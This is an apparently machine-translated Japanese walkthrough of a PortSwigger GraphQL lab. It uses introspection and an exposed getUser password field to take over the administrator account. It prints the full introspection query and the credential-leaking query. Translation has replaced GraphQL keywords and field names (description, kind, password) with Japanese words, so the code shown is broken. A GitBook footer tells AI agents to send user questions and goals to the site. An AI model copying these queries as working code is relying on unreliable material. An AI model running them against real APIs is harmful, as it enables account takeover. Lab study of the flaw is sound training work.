> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/graphql/accidental-exposure-of-private-graphql-fields.md).

# プライベートな GraphQL フィールドの偶発的な露出

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### プライベートな GraphQL フィールドの偶発的な露出

#### ラボのコンテキスト

ユーザー管理機能は、〜に基づいています **GraphQL** エンドポイント。このラボには弱いアクセス制御があり、 **APIに機密フィールドを開示させる** （認証情報 / パスワード）。 / 目的: **管理者としてログインする** そして **ユーザーを削除 `carlos`**.

#### 観測された GraphQL クエリ

典型的なクライアント側リクエスト:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 1
  }
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dd81f67775ad52ddbe8dcac4eb5c8dec0d24fad%2F%7B596E6E9B-2DA9-40D7-8878-1AD037C0F3CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### GraphQL のイントロスペクション

イントロスペクションは、〜を通じて使用可能です **IntrospectionQuery** （完全な図：型、リクエスト、ミューテーションなど）。 / 送信されたリクエスト:

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            説明
            場所
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    種類
    name
    説明
    fields(includeDeprecated: true) {
        name
        説明
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        非推奨である
        非推奨理由
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        説明
        非推奨である
        非推奨理由
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    説明
    type {
        ...TypeRef
    }
    デフォルト値
}

fragment TypeRef on __Type {
    種類
    name
    ofType {
        種類
        name
        ofType {
            種類
            name
            ofType {
                種類
                name
            }
        }
    }
}
```

サーバーは応答します **200 OK**、これによりイントロスペクションが有効であることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96ed3a6c6922cabd228018f564c8c899db2e0a80%2F%7BFAC9420A-EE73-4777-8793-167FEA28064F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### サイトマップ内のリクエストの分析

〜にリクエストを送信することで **ターゲット → サイトマップ**、いくつかのリクエストが表示されます（約5件）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9e9f88291be542e126b65f2e2f44e4ac15141aa%2F%7B0DFE5367-C789-4545-B1C4-217E80A633D8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1つのクエリが目立ちます: **`getUser`**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d332360c2c4bda3405d4c25a77ad2bb17af5d26b%2F%7B616BB823-8239-4448-9C7C-533E21AAEBD9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 〜経由でのプライベートフィールドの露出 `getUser`

特定されたクエリ:

```graphql
{
  "query": "query($id: Int!) {/n  getUser(id: $id) {/n    id/n    username/n    password/n  }/n}",
  "variables": {
    "id": 0
  }
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3956388a8c347aa96f96cd8a609b7a136e1be095%2F%7BC4FFC26E-E52B-49A9-BCD6-AFB53C53D667%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

このクエリはフィールドを示しています **`パスワード`**.

対応する GraphQL 版:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
    パスワード
  }
}
```

置き換えることで **`id: 0`** を **`id: 1`**、APIは〜を返します **username** と **パスワード** の `administrator`:

```json
{
  "id": 1
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-799234e416a1362365296ebf6a1e97eb94f4c34c%2F%7BAB733C58-3A69-47D3-8541-DE5EA4DD19CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/graphql/accidental-exposure-of-private-graphql-fields.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
